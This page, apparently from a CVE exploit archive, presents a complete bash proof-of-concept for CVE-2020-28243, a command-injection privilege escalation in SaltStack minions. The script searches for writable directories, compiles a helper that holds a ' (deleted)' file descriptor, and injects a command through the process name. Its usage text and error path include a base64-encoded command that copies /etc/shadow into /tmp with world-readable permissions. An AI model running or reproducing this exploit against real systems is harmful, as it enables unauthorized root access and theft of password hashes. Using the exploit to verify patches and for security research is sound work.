4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.sh SH
#!/bin/bash

usage ()
{
cat <<EOF
CVE-2020-28243: This script performs a local privilege escalation on a SaltStack minion by creating a process with a command injection in the process name and referencing a file descriptor with a filename that ends in ' (deleted)' and is not in a forbidden directory. The command injection is triggered whenever a restartcheck is requested by the master.

Author: Mat Rollings (@stealthcopter)
Link: https://github.com/stealthcopter/CVE-2020-28243

Usage: ./${0##*/} -w PATH -c 'COMMAND'

  -w PATH       writable path (and not blocked by SaltStack)
  -c COMMAND    command to execute

If the script is run with no arguments, it will search for a suitable writable directory.

examples:
  # Find a writable directory
  ./${0##*/}
  # PoC touch a file
  ./${0##*/} -w /var/crash -c 'touch hacked'
  # Copies /etc/shadow to /tmp, using base64 to avoid issue with filenames not allowing /'s
  ./${0##*/} -w /var/spool/samba -c 'echo Y2F0IC9ldGMvc2hhZG93ID4gL3RtcC9zaGFkb3c7Y2htb2QgNzc3IC90bXAvc2hhZG93|base64 -d|bash -i'

EOF
  exit 1
}

# Paths that SaltStack blocks
BLOCKED_PATHS="^/var/log\|^/var/local/log\|^/var/run\|^/var/local/run\|^/tmp\|^/dev/shm\|^/run\|^/drm\|^/var/tmp\|^/var/local/tmp\|^/dev/zero\|^/dev/pts\|^/usr/lib/locale\|^/home\|^.*icon-theme.cache\|^/var/cache/fontconfig\|^/var/lib/nagios3/spool\|^/var/lib/nagios3/spool/checkresults\|^/var/lib/postgresql\|^/var/lib/vdr\|^/\[aio\]\|^/SYSV"
# Paths that we block as they are unsuitable as we cant actually write there or is a non standard fs.
UNSUITABLE_PATHS="^/proc/\|^/sys/fs/\|^/var/lib/lxcfs/\|^/dev/mqueue"

find_writable_paths ()
{
  find / -writable -type d 2>/dev/null | grep -v "$BLOCKED_PATHS\|$UNSUITABLE_PATHS"
}

create_helper ()
{
  if [ -f "helper" ]; then
    echo "Helper binary exists"
    return
  fi
cat << EOF > helper.c
#include <stdio.h>
#include <unistd.h>

void main() {
  FILE *fp = fopen (" (deleted)", "w+");
  sleep(9999999);
  fprintf(fp, "1 SaltStack Local Priv Esc Please");
  fclose(fp);
}
EOF

  if command -v gcc &> /dev/null
  then
    echo "Compiling helper"
    gcc helper.c -o helper
    rm helper.c
  else
    echo "Error: gcc not found, please compile helper program and copy over"
  fi
}

while getopts ":hw:c:" opt; do
  case $opt in
    w) WRITABLE_PATH="$OPTARG"
    ;;
    c) COMMAND="$OPTARG"
    ;;
    h) usage
    ;;
    \?) echo "Invalid option -$OPTARG" >&2
    ;;
  esac
done

echo -e "################## SETUP #######################"

if [ -z "$WRITABLE_PATH" ]
  then
    echo "Searching for writable paths"
    find_writable_paths
    echo -e "\nNo writable path was no supplied (-w /var/lib/php/sessions), the above paths are writable by the current user"
    exit
fi

if [ -z "$COMMAND" ]
 then
   echo -e "No command provided, using default"
   COMMAND="touch hacked"
fi

create_helper $WRITABLE_PATH

if [ ! -f "helper" ]; then
    echo "Error: helper binary does not exist"
    exit 1
fi

echo -e "\n################## CONFIG #######################"
echo "Writable Path: $WRITABLE_PATH"
echo "Command: $COMMAND"

echo -e "\n################## EXPLOIT ######################"

if [[ $COMMAND == *"/"* ]];then
  echo "Error: Cannot use / in commands when using the filename method\nWhy not try base64 like dis (copies shadow file to /tmp):"
  echo "echo Y2F0IC9ldGMvc2hhZG93ID4gL3RtcC9zaGFkb3c7Y2htb2QgNzc3IC90bXAvc2hhZG93|base64 -d|bash -i"
  exit 1
fi

FILENAME=";$COMMAND"

# Move helper into writable path
mv "helper" "$WRITABLE_PATH/$FILENAME"

echo "Running: $WRITABLE_PATH/$FILENAME"

cd "$WRITABLE_PATH"
"./$FILENAME" &
EXPLOIT_PID=$!

# Test if we were successful
echo -e "#################### TESTS ########################"
echo -e "Exploit completed, lets test if it looks good:"
echo -e "Exploit PID: $EXPLOIT_PID"

echo -e "You should see command injection as the process name below:"
ps -aux | grep "$EXPLOIT_PID" | grep -v "grep"

echo -e "\nThe process should hold a file descriptor to a file ending with ' (deleted)'"
ls -lah "/proc/$EXPLOIT_PID/fd/" | grep " (deleted)"

# Wait for restart to occur
# This can be triggered from master using: `salt '*' restartcheck.restartcheck`
echo -e "\nIf everything looks good above, then we just need to wait for a restartcheck to be triggered on the master"
echo -e "This can be done using the following command on master: "
echo "salt '*' restartcheck.restartcheck"

echo -e "\n################## CLEANUP ######################"
echo "Deleting helpers binary"
rm "$FILENAME"

echo "Remember to kill the process and delete the left over file after you get root"
echo "kill $EXPLOIT_PID"
echo "rm '$WRITABLE_PATH/ (deleted)'"